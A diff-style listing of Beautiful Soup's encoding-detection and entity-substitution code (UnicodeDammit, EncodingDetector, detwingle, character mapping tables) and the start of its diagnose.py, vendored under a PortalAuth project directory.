BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|"
|
||||
"&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;)"
|
||||
")")
|
||||
|
||||
AMPERSAND_OR_BRACKET = re.compile("([<>&])")
|
||||
|
||||
@classmethod
|
||||
def _substitute_html_entity(cls, matchobj):
|
||||
entity = cls.CHARACTER_TO_HTML_ENTITY.get(matchobj.group(0))
|
||||
return "&%s;" % entity
|
||||
|
||||
@classmethod
|
||||
def _substitute_xml_entity(cls, matchobj):
|
||||
"""Used with a regular expression to substitute the
|
||||
appropriate XML entity for an XML special character."""
|
||||
entity = cls.CHARACTER_TO_XML_ENTITY[matchobj.group(0)]
|
||||
return "&%s;" % entity
|
||||
|
||||
@classmethod
|
||||
def quoted_attribute_value(self, value):
|
||||
"""Make a value into a quoted XML attribute, possibly escaping it.
|
||||
|
||||
Most strings will be quoted using double quotes.
|
||||
|
||||
Bob's Bar -> "Bob's Bar"
|
||||
|
||||
If a string contains double quotes, it will be quoted using
|
||||
single quotes.
|
||||
|
||||
Welcome to "my bar" -> 'Welcome to "my bar"'
|
||||
|
||||
If a string contains both single and double quotes, the
|
||||
double quotes will be escaped, and the string will be quoted
|
||||
using double quotes.
|
||||
|
||||
Welcome to "Bob's Bar" -> "Welcome to "Bob's bar"
|
||||
"""
|
||||
quote_with = '"'
|
||||
if '"' in value:
|
||||
if "'" in value:
|
||||
# The string contains both single and double
|
||||
# quotes. Turn the double quotes into
|
||||
# entities. We quote the double quotes rather than
|
||||
# the single quotes because the entity name is
|
||||
# """ whether this is HTML or XML. If we
|
||||
# quoted the single quotes, we'd have to decide
|
||||
# between ' and &squot;.
|
||||
replace_with = """
|
||||
value = value.replace('"', replace_with)
|
||||
else:
|
||||
# There are double quotes but no single quotes.
|
||||
# We can use single quotes to quote the attribute.
|
||||
quote_with = "'"
|
||||
return quote_with + value + quote_with
|
||||
|
||||
@classmethod
|
||||
def substitute_xml(cls, value, make_quoted_attribute=False):
|
||||
"""Substitute XML entities for special XML characters.
|
||||
|
||||
:param value: A string to be substituted. The less-than sign
|
||||
will become <, the greater-than sign will become >,
|
||||
and any ampersands will become &. If you want ampersands
|
||||
that appear to be part of an entity definition to be left
|
||||
alone, use substitute_xml_containing_entities() instead.
|
||||
|
||||
:param make_quoted_attribute: If True, then the string will be
|
||||
quoted, as befits an attribute value.
|
||||
"""
|
||||
# Escape angle brackets and ampersands.
|
||||
value = cls.AMPERSAND_OR_BRACKET.sub(
|
||||
cls._substitute_xml_entity, value)
|
||||
|
||||
if make_quoted_attribute:
|
||||
value = cls.quoted_attribute_value(value)
|
||||
return value
|
||||
|
||||
@classmethod
|
||||
def substitute_xml_containing_entities(
|
||||
cls, value, make_quoted_attribute=False):
|
||||
"""Substitute XML entities for special XML characters.
|
||||
|
||||
:param value: A string to be substituted. The less-than sign will
|
||||
become <, the greater-than sign will become >, and any
|
||||
ampersands that are not part of an entity defition will
|
||||
become &.
|
||||
|
||||
:param make_quoted_attribute: If True, then the string will be
|
||||
quoted, as befits an attribute value.
|
||||
"""
|
||||
# Escape angle brackets, and ampersands that aren't part of
|
||||
# entities.
|
||||
value = cls.BARE_AMPERSAND_OR_BRACKET.sub(
|
||||
cls._substitute_xml_entity, value)
|
||||
|
||||
if make_quoted_attribute:
|
||||
value = cls.quoted_attribute_value(value)
|
||||
return value
|
||||
|
||||
@classmethod
|
||||
def substitute_html(cls, s):
|
||||
"""Replace certain Unicode characters with named HTML entities.
|
||||
|
||||
This differs from data.encode(encoding, 'xmlcharrefreplace')
|
||||
in that the goal is to make the result more readable (to those
|
||||
with ASCII displays) rather than to recover from
|
||||
errors. There's absolutely nothing wrong with a UTF-8 string
|
||||
containg a LATIN SMALL LETTER E WITH ACUTE, but replacing that
|
||||
character with "é" will make it more readable to some
|
||||
people.
|
||||
"""
|
||||
return cls.CHARACTER_TO_HTML_ENTITY_RE.sub(
|
||||
cls._substitute_html_entity, s)
|
||||
|
||||
|
||||
class EncodingDetector:
|
||||
"""Suggests a number of possible encodings for a bytestring.
|
||||
|
||||
Order of precedence:
|
||||
|
||||
1. Encodings you specifically tell EncodingDetector to try first
|
||||
(the override_encodings argument to the constructor).
|
||||
|
||||
2. An encoding declared within the bytestring itself, either in an
|
||||
XML declaration (if the bytestring is to be interpreted as an XML
|
||||
document), or in a <meta> tag (if the bytestring is to be
|
||||
interpreted as an HTML document.)
|
||||
|
||||
3. An encoding detected through textual analysis by chardet,
|
||||
cchardet, or a similar external library.
|
||||
|
||||
4. UTF-8.
|
||||
|
||||
5. Windows-1252.
|
||||
"""
|
||||
def __init__(self, markup, override_encodings=None, is_html=False,
|
||||
exclude_encodings=None):
|
||||
self.override_encodings = override_encodings or []
|
||||
exclude_encodings = exclude_encodings or []
|
||||
self.exclude_encodings = set([x.lower() for x in exclude_encodings])
|
||||
self.chardet_encoding = None
|
||||
self.is_html = is_html
|
||||
self.declared_encoding = None
|
||||
|
||||
# First order of business: strip a byte-order mark.
|
||||
self.markup, self.sniffed_encoding = self.strip_byte_order_mark(markup)
|
||||
|
||||
def _usable(self, encoding, tried):
|
||||
if encoding is not None:
|
||||
encoding = encoding.lower()
|
||||
if encoding in self.exclude_encodings:
|
||||
return False
|
||||
if encoding not in tried:
|
||||
tried.add(encoding)
|
||||
return True
|
||||
return False
|
||||
|
||||
@property
|
||||
def encodings(self):
|
||||
"""Yield a number of encodings that might work for this markup."""
|
||||
tried = set()
|
||||
for e in self.override_encodings:
|
||||
if self._usable(e, tried):
|
||||
yield e
|
||||
|
||||
# Did the document originally start with a byte-order mark
|
||||
# that indicated its encoding?
|
||||
if self._usable(self.sniffed_encoding, tried):
|
||||
yield self.sniffed_encoding
|
||||
|
||||
# Look within the document for an XML or HTML encoding
|
||||
# declaration.
|
||||
if self.declared_encoding is None:
|
||||
self.declared_encoding = self.find_declared_encoding(
|
||||
self.markup, self.is_html)
|
||||
if self._usable(self.declared_encoding, tried):
|
||||
yield self.declared_encoding
|
||||
|
||||
# Use third-party character set detection to guess at the
|
||||
# encoding.
|
||||
if self.chardet_encoding is None:
|
||||
self.chardet_encoding = chardet_dammit(self.markup)
|
||||
if self._usable(self.chardet_encoding, tried):
|
||||
yield self.chardet_encoding
|
||||
|
||||
# As a last-ditch effort, try utf-8 and windows-1252.
|
||||
for e in ('utf-8', 'windows-1252'):
|
||||
if self._usable(e, tried):
|
||||
yield e
|
||||
|
||||
@classmethod
|
||||
def strip_byte_order_mark(cls, data):
|
||||
"""If a byte-order mark is present, strip it and return the encoding it implies."""
|
||||
encoding = None
|
||||
if isinstance(data, unicode):
|
||||
# Unicode data cannot have a byte-order mark.
|
||||
return data, encoding
|
||||
if (len(data) >= 4) and (data[:2] == b'\xfe\xff') \
|
||||
and (data[2:4] != '\x00\x00'):
|
||||
encoding = 'utf-16be'
|
||||
data = data[2:]
|
||||
elif (len(data) >= 4) and (data[:2] == b'\xff\xfe') \
|
||||
and (data[2:4] != '\x00\x00'):
|
||||
encoding = 'utf-16le'
|
||||
data = data[2:]
|
||||
elif data[:3] == b'\xef\xbb\xbf':
|
||||
encoding = 'utf-8'
|
||||
data = data[3:]
|
||||
elif data[:4] == b'\x00\x00\xfe\xff':
|
||||
encoding = 'utf-32be'
|
||||
data = data[4:]
|
||||
elif data[:4] == b'\xff\xfe\x00\x00':
|
||||
encoding = 'utf-32le'
|
||||
data = data[4:]
|
||||
return data, encoding
|
||||
|
||||
@classmethod
|
||||
def find_declared_encoding(cls, markup, is_html=False, search_entire_document=False):
|
||||
"""Given a document, tries to find its declared encoding.
|
||||
|
||||
An XML encoding is declared at the beginning of the document.
|
||||
|
||||
An HTML encoding is declared in a <meta> tag, hopefully near the
|
||||
beginning of the document.
|
||||
"""
|
||||
if search_entire_document:
|
||||
xml_endpos = html_endpos = len(markup)
|
||||
else:
|
||||
xml_endpos = 1024
|
||||
html_endpos = max(2048, int(len(markup) * 0.05))
|
||||
|
||||
declared_encoding = None
|
||||
declared_encoding_match = xml_encoding_re.search(markup, endpos=xml_endpos)
|
||||
if not declared_encoding_match and is_html:
|
||||
declared_encoding_match = html_meta_re.search(markup, endpos=html_endpos)
|
||||
if declared_encoding_match is not None:
|
||||
declared_encoding = declared_encoding_match.groups()[0].decode(
|
||||
'ascii', 'replace')
|
||||
if declared_encoding:
|
||||
return declared_encoding.lower()
|
||||
return None
|
||||
|
||||
class UnicodeDammit:
|
||||
"""A class for detecting the encoding of a *ML document and
|
||||
converting it to a Unicode string. If the source encoding is
|
||||
windows-1252, can replace MS smart quotes with their HTML or XML
|
||||
equivalents."""
|
||||
|
||||
# This dictionary maps commonly seen values for "charset" in HTML
|
||||
# meta tags to the corresponding Python codec names. It only covers
|
||||
# values that aren't in Python's aliases and can't be determined
|
||||
# by the heuristics in find_codec.
|
||||
CHARSET_ALIASES = {"macintosh": "mac-roman",
|
||||
"x-sjis": "shift-jis"}
|
||||
|
||||
ENCODINGS_WITH_SMART_QUOTES = [
|
||||
"windows-1252",
|
||||
"iso-8859-1",
|
||||
"iso-8859-2",
|
||||
]
|
||||
|
||||
def __init__(self, markup, override_encodings=[],
|
||||
smart_quotes_to=None, is_html=False, exclude_encodings=[]):
|
||||
self.smart_quotes_to = smart_quotes_to
|
||||
self.tried_encodings = []
|
||||
self.contains_replacement_characters = False
|
||||
self.is_html = is_html
|
||||
|
||||
self.detector = EncodingDetector(
|
||||
markup, override_encodings, is_html, exclude_encodings)
|
||||
|
||||
# Short-circuit if the data is in Unicode to begin with.
|
||||
if isinstance(markup, unicode) or markup == '':
|
||||
self.markup = markup
|
||||
self.unicode_markup = unicode(markup)
|
||||
self.original_encoding = None
|
||||
return
|
||||
|
||||
# The encoding detector may have stripped a byte-order mark.
|
||||
# Use the stripped markup from this point on.
|
||||
self.markup = self.detector.markup
|
||||
|
||||
u = None
|
||||
for encoding in self.detector.encodings:
|
||||
markup = self.detector.markup
|
||||
u = self._convert_from(encoding)
|
||||
if u is not None:
|
||||
break
|
||||
|
||||
if not u:
|
||||
# None of the encodings worked. As an absolute last resort,
|
||||
# try them again with character replacement.
|
||||
|
||||
for encoding in self.detector.encodings:
|
||||
if encoding != "ascii":
|
||||
u = self._convert_from(encoding, "replace")
|
||||
if u is not None:
|
||||
logging.warning(
|
||||
"Some characters could not be decoded, and were "
|
||||
"replaced with REPLACEMENT CHARACTER.")
|
||||
self.contains_replacement_characters = True
|
||||
break
|
||||
|
||||
# If none of that worked, we could at this point force it to
|
||||
# ASCII, but that would destroy so much data that I think
|
||||
# giving up is better.
|
||||
self.unicode_markup = u
|
||||
if not u:
|
||||
self.original_encoding = None
|
||||
|
||||
def _sub_ms_char(self, match):
|
||||
"""Changes a MS smart quote character to an XML or HTML
|
||||
entity, or an ASCII character."""
|
||||
orig = match.group(1)
|
||||
if self.smart_quotes_to == 'ascii':
|
||||
sub = self.MS_CHARS_TO_ASCII.get(orig).encode()
|
||||
else:
|
||||
sub = self.MS_CHARS.get(orig)
|
||||
if type(sub) == tuple:
|
||||
if self.smart_quotes_to == 'xml':
|
||||
sub = '&#x'.encode() + sub[1].encode() + ';'.encode()
|
||||
else:
|
||||
sub = '&'.encode() + sub[0].encode() + ';'.encode()
|
||||
else:
|
||||
sub = sub.encode()
|
||||
return sub
|
||||
|
||||
def _convert_from(self, proposed, errors="strict"):
|
||||
proposed = self.find_codec(proposed)
|
||||
if not proposed or (proposed, errors) in self.tried_encodings:
|
||||
return None
|
||||
self.tried_encodings.append((proposed, errors))
|
||||
markup = self.markup
|
||||
# Convert smart quotes to HTML if coming from an encoding
|
||||
# that might have them.
|
||||
if (self.smart_quotes_to is not None
|
||||
and proposed in self.ENCODINGS_WITH_SMART_QUOTES):
|
||||
smart_quotes_re = b"([\x80-\x9f])"
|
||||
smart_quotes_compiled = re.compile(smart_quotes_re)
|
||||
markup = smart_quotes_compiled.sub(self._sub_ms_char, markup)
|
||||
|
||||
try:
|
||||
#print "Trying to convert document to %s (errors=%s)" % (
|
||||
# proposed, errors)
|
||||
u = self._to_unicode(markup, proposed, errors)
|
||||
self.markup = u
|
||||
self.original_encoding = proposed
|
||||
except Exception as e:
|
||||
#print "That didn't work!"
|
||||
#print e
|
||||
return None
|
||||
#print "Correct encoding: %s" % proposed
|
||||
return self.markup
|
||||
|
||||
def _to_unicode(self, data, encoding, errors="strict"):
|
||||
'''Given a string and its encoding, decodes the string into Unicode.
|
||||
%encoding is a string recognized by encodings.aliases'''
|
||||
return unicode(data, encoding, errors)
|
||||
|
||||
@property
|
||||
def declared_html_encoding(self):
|
||||
if not self.is_html:
|
||||
return None
|
||||
return self.detector.declared_encoding
|
||||
|
||||
def find_codec(self, charset):
|
||||
value = (self._codec(self.CHARSET_ALIASES.get(charset, charset))
|
||||
or (charset and self._codec(charset.replace("-", "")))
|
||||
or (charset and self._codec(charset.replace("-", "_")))
|
||||
or (charset and charset.lower())
|
||||
or charset
|
||||
)
|
||||
if value:
|
||||
return value.lower()
|
||||
return None
|
||||
|
||||
def _codec(self, charset):
|
||||
if not charset:
|
||||
return charset
|
||||
codec = None
|
||||
try:
|
||||
codecs.lookup(charset)
|
||||
codec = charset
|
||||
except (LookupError, ValueError):
|
||||
pass
|
||||
return codec
|
||||
|
||||
|
||||
# A partial mapping of ISO-Latin-1 to HTML entities/XML numeric entities.
|
||||
MS_CHARS = {b'\x80': ('euro', '20AC'),
|
||||
b'\x81': ' ',
|
||||
b'\x82': ('sbquo', '201A'),
|
||||
b'\x83': ('fnof', '192'),
|
||||
b'\x84': ('bdquo', '201E'),
|
||||
b'\x85': ('hellip', '2026'),
|
||||
b'\x86': ('dagger', '2020'),
|
||||
b'\x87': ('Dagger', '2021'),
|
||||
b'\x88': ('circ', '2C6'),
|
||||
b'\x89': ('permil', '2030'),
|
||||
b'\x8A': ('Scaron', '160'),
|
||||
b'\x8B': ('lsaquo', '2039'),
|
||||
b'\x8C': ('OElig', '152'),
|
||||
b'\x8D': '?',
|
||||
b'\x8E': ('#x17D', '17D'),
|
||||
b'\x8F': '?',
|
||||
b'\x90': '?',
|
||||
b'\x91': ('lsquo', '2018'),
|
||||
b'\x92': ('rsquo', '2019'),
|
||||
b'\x93': ('ldquo', '201C'),
|
||||
b'\x94': ('rdquo', '201D'),
|
||||
b'\x95': ('bull', '2022'),
|
||||
b'\x96': ('ndash', '2013'),
|
||||
b'\x97': ('mdash', '2014'),
|
||||
b'\x98': ('tilde', '2DC'),
|
||||
b'\x99': ('trade', '2122'),
|
||||
b'\x9a': ('scaron', '161'),
|
||||
b'\x9b': ('rsaquo', '203A'),
|
||||
b'\x9c': ('oelig', '153'),
|
||||
b'\x9d': '?',
|
||||
b'\x9e': ('#x17E', '17E'),
|
||||
b'\x9f': ('Yuml', ''),}
|
||||
|
||||
# A parochial partial mapping of ISO-Latin-1 to ASCII. Contains
|
||||
# horrors like stripping diacritical marks to turn á into a, but also
|
||||
# contains non-horrors like turning “ into ".
|
||||
MS_CHARS_TO_ASCII = {
|
||||
b'\x80' : 'EUR',
|
||||
b'\x81' : ' ',
|
||||
b'\x82' : ',',
|
||||
b'\x83' : 'f',
|
||||
b'\x84' : ',,',
|
||||
b'\x85' : '...',
|
||||
b'\x86' : '+',
|
||||
b'\x87' : '++',
|
||||
b'\x88' : '^',
|
||||
b'\x89' : '%',
|
||||
b'\x8a' : 'S',
|
||||
b'\x8b' : '<',
|
||||
b'\x8c' : 'OE',
|
||||
b'\x8d' : '?',
|
||||
b'\x8e' : 'Z',
|
||||
b'\x8f' : '?',
|
||||
b'\x90' : '?',
|
||||
b'\x91' : "'",
|
||||
b'\x92' : "'",
|
||||
b'\x93' : '"',
|
||||
b'\x94' : '"',
|
||||
b'\x95' : '*',
|
||||
b'\x96' : '-',
|
||||
b'\x97' : '--',
|
||||
b'\x98' : '~',
|
||||
b'\x99' : '(TM)',
|
||||
b'\x9a' : 's',
|
||||
b'\x9b' : '>',
|
||||
b'\x9c' : 'oe',
|
||||
b'\x9d' : '?',
|
||||
b'\x9e' : 'z',
|
||||
b'\x9f' : 'Y',
|
||||
b'\xa0' : ' ',
|
||||
b'\xa1' : '!',
|
||||
b'\xa2' : 'c',
|
||||
b'\xa3' : 'GBP',
|
||||
b'\xa4' : '$', #This approximation is especially parochial--this is the
|
||||
#generic currency symbol.
|
||||
b'\xa5' : 'YEN',
|
||||
b'\xa6' : '|',
|
||||
b'\xa7' : 'S',
|
||||
b'\xa8' : '..',
|
||||
b'\xa9' : '',
|
||||
b'\xaa' : '(th)',
|
||||
b'\xab' : '<<',
|
||||
b'\xac' : '!',
|
||||
b'\xad' : ' ',
|
||||
b'\xae' : '(R)',
|
||||
b'\xaf' : '-',
|
||||
b'\xb0' : 'o',
|
||||
b'\xb1' : '+-',
|
||||
b'\xb2' : '2',
|
||||
b'\xb3' : '3',
|
||||
b'\xb4' : ("'", 'acute'),
|
||||
b'\xb5' : 'u',
|
||||
b'\xb6' : 'P',
|
||||
b'\xb7' : '*',
|
||||
b'\xb8' : ',',
|
||||
b'\xb9' : '1',
|
||||
b'\xba' : '(th)',
|
||||
b'\xbb' : '>>',
|
||||
b'\xbc' : '1/4',
|
||||
b'\xbd' : '1/2',
|
||||
b'\xbe' : '3/4',
|
||||
b'\xbf' : '?',
|
||||
b'\xc0' : 'A',
|
||||
b'\xc1' : 'A',
|
||||
b'\xc2' : 'A',
|
||||
b'\xc3' : 'A',
|
||||
b'\xc4' : 'A',
|
||||
b'\xc5' : 'A',
|
||||
b'\xc6' : 'AE',
|
||||
b'\xc7' : 'C',
|
||||
b'\xc8' : 'E',
|
||||
b'\xc9' : 'E',
|
||||
b'\xca' : 'E',
|
||||
b'\xcb' : 'E',
|
||||
b'\xcc' : 'I',
|
||||
b'\xcd' : 'I',
|
||||
b'\xce' : 'I',
|
||||
b'\xcf' : 'I',
|
||||
b'\xd0' : 'D',
|
||||
b'\xd1' : 'N',
|
||||
b'\xd2' : 'O',
|
||||
b'\xd3' : 'O',
|
||||
b'\xd4' : 'O',
|
||||
b'\xd5' : 'O',
|
||||
b'\xd6' : 'O',
|
||||
b'\xd7' : '*',
|
||||
b'\xd8' : 'O',
|
||||
b'\xd9' : 'U',
|
||||
b'\xda' : 'U',
|
||||
b'\xdb' : 'U',
|
||||
b'\xdc' : 'U',
|
||||
b'\xdd' : 'Y',
|
||||
b'\xde' : 'b',
|
||||
b'\xdf' : 'B',
|
||||
b'\xe0' : 'a',
|
||||
b'\xe1' : 'a',
|
||||
b'\xe2' : 'a',
|
||||
b'\xe3' : 'a',
|
||||
b'\xe4' : 'a',
|
||||
b'\xe5' : 'a',
|
||||
b'\xe6' : 'ae',
|
||||
b'\xe7' : 'c',
|
||||
b'\xe8' : 'e',
|
||||
b'\xe9' : 'e',
|
||||
b'\xea' : 'e',
|
||||
b'\xeb' : 'e',
|
||||
b'\xec' : 'i',
|
||||
b'\xed' : 'i',
|
||||
b'\xee' : 'i',
|
||||
b'\xef' : 'i',
|
||||
b'\xf0' : 'o',
|
||||
b'\xf1' : 'n',
|
||||
b'\xf2' : 'o',
|
||||
b'\xf3' : 'o',
|
||||
b'\xf4' : 'o',
|
||||
b'\xf5' : 'o',
|
||||
b'\xf6' : 'o',
|
||||
b'\xf7' : '/',
|
||||
b'\xf8' : 'o',
|
||||
b'\xf9' : 'u',
|
||||
b'\xfa' : 'u',
|
||||
b'\xfb' : 'u',
|
||||
b'\xfc' : 'u',
|
||||
b'\xfd' : 'y',
|
||||
b'\xfe' : 'b',
|
||||
b'\xff' : 'y',
|
||||
}
|
||||
|
||||
# A map used when removing rogue Windows-1252/ISO-8859-1
|
||||
# characters in otherwise UTF-8 documents.
|
||||
#
|
||||
# Note that \x81, \x8d, \x8f, \x90, and \x9d are undefined in
|
||||
# Windows-1252.
|
||||
WINDOWS_1252_TO_UTF8 = {
|
||||
0x80 : b'\xe2\x82\xac', # €
|
||||
0x82 : b'\xe2\x80\x9a', # ‚
|
||||
0x83 : b'\xc6\x92', # ƒ
|
||||
0x84 : b'\xe2\x80\x9e', # „
|
||||
0x85 : b'\xe2\x80\xa6', # …
|
||||
0x86 : b'\xe2\x80\xa0', # †
|
||||
0x87 : b'\xe2\x80\xa1', # ‡
|
||||
0x88 : b'\xcb\x86', # ˆ
|
||||
0x89 : b'\xe2\x80\xb0', # ‰
|
||||
0x8a : b'\xc5\xa0', # Š
|
||||
0x8b : b'\xe2\x80\xb9', # ‹
|
||||
0x8c : b'\xc5\x92', # Œ
|
||||
0x8e : b'\xc5\xbd', # Ž
|
||||
0x91 : b'\xe2\x80\x98', # ‘
|
||||
0x92 : b'\xe2\x80\x99', # ’
|
||||
0x93 : b'\xe2\x80\x9c', # “
|
||||
0x94 : b'\xe2\x80\x9d', # ”
|
||||
0x95 : b'\xe2\x80\xa2', # •
|
||||
0x96 : b'\xe2\x80\x93', # –
|
||||
0x97 : b'\xe2\x80\x94', # —
|
||||
0x98 : b'\xcb\x9c', # ˜
|
||||
0x99 : b'\xe2\x84\xa2', # ™
|
||||
0x9a : b'\xc5\xa1', # š
|
||||
0x9b : b'\xe2\x80\xba', # ›
|
||||
0x9c : b'\xc5\x93', # œ
|
||||
0x9e : b'\xc5\xbe', # ž
|
||||
0x9f : b'\xc5\xb8', # Ÿ
|
||||
0xa0 : b'\xc2\xa0', #
|
||||
0xa1 : b'\xc2\xa1', # ¡
|
||||
0xa2 : b'\xc2\xa2', # ¢
|
||||
0xa3 : b'\xc2\xa3', # £
|
||||
0xa4 : b'\xc2\xa4', # ¤
|
||||
0xa5 : b'\xc2\xa5', # ¥
|
||||
0xa6 : b'\xc2\xa6', # ¦
|
||||
0xa7 : b'\xc2\xa7', # §
|
||||
0xa8 : b'\xc2\xa8', # ¨
|
||||
0xa9 : b'\xc2\xa9', # ©
|
||||
0xaa : b'\xc2\xaa', # ª
|
||||
0xab : b'\xc2\xab', # «
|
||||
0xac : b'\xc2\xac', # ¬
|
||||
0xad : b'\xc2\xad', #
|
||||
0xae : b'\xc2\xae', # ®
|
||||
0xaf : b'\xc2\xaf', # ¯
|
||||
0xb0 : b'\xc2\xb0', # °
|
||||
0xb1 : b'\xc2\xb1', # ±
|
||||
0xb2 : b'\xc2\xb2', # ²
|
||||
0xb3 : b'\xc2\xb3', # ³
|
||||
0xb4 : b'\xc2\xb4', # ´
|
||||
0xb5 : b'\xc2\xb5', # µ
|
||||
0xb6 : b'\xc2\xb6', # ¶
|
||||
0xb7 : b'\xc2\xb7', # ·
|
||||
0xb8 : b'\xc2\xb8', # ¸
|
||||
0xb9 : b'\xc2\xb9', # ¹
|
||||
0xba : b'\xc2\xba', # º
|
||||
0xbb : b'\xc2\xbb', # »
|
||||
0xbc : b'\xc2\xbc', # ¼
|
||||
0xbd : b'\xc2\xbd', # ½
|
||||
0xbe : b'\xc2\xbe', # ¾
|
||||
0xbf : b'\xc2\xbf', # ¿
|
||||
0xc0 : b'\xc3\x80', # À
|
||||
0xc1 : b'\xc3\x81', # Á
|
||||
0xc2 : b'\xc3\x82', # Â
|
||||
0xc3 : b'\xc3\x83', # Ã
|
||||
0xc4 : b'\xc3\x84', # Ä
|
||||
0xc5 : b'\xc3\x85', # Å
|
||||
0xc6 : b'\xc3\x86', # Æ
|
||||
0xc7 : b'\xc3\x87', # Ç
|
||||
0xc8 : b'\xc3\x88', # È
|
||||
0xc9 : b'\xc3\x89', # É
|
||||
0xca : b'\xc3\x8a', # Ê
|
||||
0xcb : b'\xc3\x8b', # Ë
|
||||
0xcc : b'\xc3\x8c', # Ì
|
||||
0xcd : b'\xc3\x8d', # Í
|
||||
0xce : b'\xc3\x8e', # Î
|
||||
0xcf : b'\xc3\x8f', # Ï
|
||||
0xd0 : b'\xc3\x90', # Ð
|
||||
0xd1 : b'\xc3\x91', # Ñ
|
||||
0xd2 : b'\xc3\x92', # Ò
|
||||
0xd3 : b'\xc3\x93', # Ó
|
||||
0xd4 : b'\xc3\x94', # Ô
|
||||
0xd5 : b'\xc3\x95', # Õ
|
||||
0xd6 : b'\xc3\x96', # Ö
|
||||
0xd7 : b'\xc3\x97', # ×
|
||||
0xd8 : b'\xc3\x98', # Ø
|
||||
0xd9 : b'\xc3\x99', # Ù
|
||||
0xda : b'\xc3\x9a', # Ú
|
||||
0xdb : b'\xc3\x9b', # Û
|
||||
0xdc : b'\xc3\x9c', # Ü
|
||||
0xdd : b'\xc3\x9d', # Ý
|
||||
0xde : b'\xc3\x9e', # Þ
|
||||
0xdf : b'\xc3\x9f', # ß
|
||||
0xe0 : b'\xc3\xa0', # à
|
||||
0xe1 : b'\xa1', # á
|
||||
0xe2 : b'\xc3\xa2', # â
|
||||
0xe3 : b'\xc3\xa3', # ã
|
||||
0xe4 : b'\xc3\xa4', # ä
|
||||
0xe5 : b'\xc3\xa5', # å
|
||||
0xe6 : b'\xc3\xa6', # æ
|
||||
0xe7 : b'\xc3\xa7', # ç
|
||||
0xe8 : b'\xc3\xa8', # è
|
||||
0xe9 : b'\xc3\xa9', # é
|
||||
0xea : b'\xc3\xaa', # ê
|
||||
0xeb : b'\xc3\xab', # ë
|
||||
0xec : b'\xc3\xac', # ì
|
||||
0xed : b'\xc3\xad', # í
|
||||
0xee : b'\xc3\xae', # î
|
||||
0xef : b'\xc3\xaf', # ï
|
||||
0xf0 : b'\xc3\xb0', # ð
|
||||
0xf1 : b'\xc3\xb1', # ñ
|
||||
0xf2 : b'\xc3\xb2', # ò
|
||||
0xf3 : b'\xc3\xb3', # ó
|
||||
0xf4 : b'\xc3\xb4', # ô
|
||||
0xf5 : b'\xc3\xb5', # õ
|
||||
0xf6 : b'\xc3\xb6', # ö
|
||||
0xf7 : b'\xc3\xb7', # ÷
|
||||
0xf8 : b'\xc3\xb8', # ø
|
||||
0xf9 : b'\xc3\xb9', # ù
|
||||
0xfa : b'\xc3\xba', # ú
|
||||
0xfb : b'\xc3\xbb', # û
|
||||
0xfc : b'\xc3\xbc', # ü
|
||||
0xfd : b'\xc3\xbd', # ý
|
||||
0xfe : b'\xc3\xbe', # þ
|
||||
}
|
||||
|
||||
MULTIBYTE_MARKERS_AND_SIZES = [
|
||||
(0xc2, 0xdf, 2), # 2-byte characters start with a byte C2-DF
|
||||
(0xe0, 0xef, 3), # 3-byte characters start with E0-EF
|
||||
(0xf0, 0xf4, 4), # 4-byte characters start with F0-F4
|
||||
]
|
||||
|
||||
FIRST_MULTIBYTE_MARKER = MULTIBYTE_MARKERS_AND_SIZES[0][0]
|
||||
LAST_MULTIBYTE_MARKER = MULTIBYTE_MARKERS_AND_SIZES[-1][1]
|
||||
|
||||
@classmethod
|
||||
def detwingle(cls, in_bytes, main_encoding="utf8",
|
||||
embedded_encoding="windows-1252"):
|
||||
"""Fix characters from one encoding embedded in some other encoding.
|
||||
|
||||
Currently the only situation supported is Windows-1252 (or its
|
||||
subset ISO-8859-1), embedded in UTF-8.
|
||||
|
||||
The input must be a bytestring. If you've already converted
|
||||
the document to Unicode, you're too late.
|
||||
|
||||
The output is a bytestring in which `embedded_encoding`
|
||||
characters have been converted to their `main_encoding`
|
||||
equivalents.
|
||||
"""
|
||||
if embedded_encoding.replace('_', '-').lower() not in (
|
||||
'windows-1252', 'windows_1252'):
|
||||
raise NotImplementedError(
|
||||
"Windows-1252 and ISO-8859-1 are the only currently supported "
|
||||
"embedded encodings.")
|
||||
|
||||
if main_encoding.lower() not in ('utf8', 'utf-8'):
|
||||
raise NotImplementedError(
|
||||
"UTF-8 is the only currently supported main encoding.")
|
||||
|
||||
byte_chunks = []
|
||||
|
||||
chunk_start = 0
|
||||
pos = 0
|
||||
while pos < len(in_bytes):
|
||||
byte = in_bytes[pos]
|
||||
if not isinstance(byte, int):
|
||||
# Python 2.x
|
||||
byte = ord(byte)
|
||||
if (byte >= cls.FIRST_MULTIBYTE_MARKER
|
||||
and byte <= cls.LAST_MULTIBYTE_MARKER):
|
||||
# This is the start of a UTF-8 multibyte character. Skip
|
||||
# to the end.
|
||||
for start, end, size in cls.MULTIBYTE_MARKERS_AND_SIZES:
|
||||
if byte >= start and byte <= end:
|
||||
pos += size
|
||||
break
|
||||
elif byte >= 0x80 and byte in cls.WINDOWS_1252_TO_UTF8:
|
||||
# We found a Windows-1252 character!
|
||||
# Save the string up to this point as a chunk.
|
||||
byte_chunks.append(in_bytes[chunk_start:pos])
|
||||
|
||||
# Now translate the Windows-1252 character into UTF-8
|
||||
# and add it as another, one-byte chunk.
|
||||
byte_chunks.append(cls.WINDOWS_1252_TO_UTF8[byte])
|
||||
pos += 1
|
||||
chunk_start = pos
|
||||
else:
|
||||
# Go on to the next character.
|
||||
pos += 1
|
||||
if chunk_start == 0:
|
||||
# The string is unchanged.
|
||||
return in_bytes
|
||||
else:
|
||||
# Store the final chunk.
|
||||
byte_chunks.append(in_bytes[chunk_start:])
|
||||
return b''.join(byte_chunks)
|
||||
|
||||
213
PortalAuth/includes/scripts/libs/bs4/diagnose.py
Executable file
213
PortalAuth/includes/scripts/libs/bs4/diagnose.py
Executable file
@@ -0,0 +1,213 @@
|
||||
"""Diagnostic functions, mainly for use when doing tech support."""
|
||||
import cProfile
|
||||
from StringIO import StringIO
|
||||
from HTMLParser import HTMLParser
|
||||
import bs4
|
||||
from bs4 import BeautifulSoup, __version__
|
||||
from bs4.builder import builder_registry
|
||||
|
||||
import os
|
||||
import pstats
|
||||
import random
|
||||
import tempfile
|
||||
import time
|
||||
import traceback
|
||||
import sys
|
||||
import cProfile
|
||||
|
||||
def diagnose(data):
|
||||
"""Diagnostic suite for isolating common problems."""
|
||||
print "Diagnostic running on Beautiful Soup %s" % __version__
|
||||
print "Python version %s" % sys.version
|
||||
|
||||
basic_parsers = ["html.parser", "html5lib", "lxml"]
|
||||
for name in basic_parsers:
|
||||
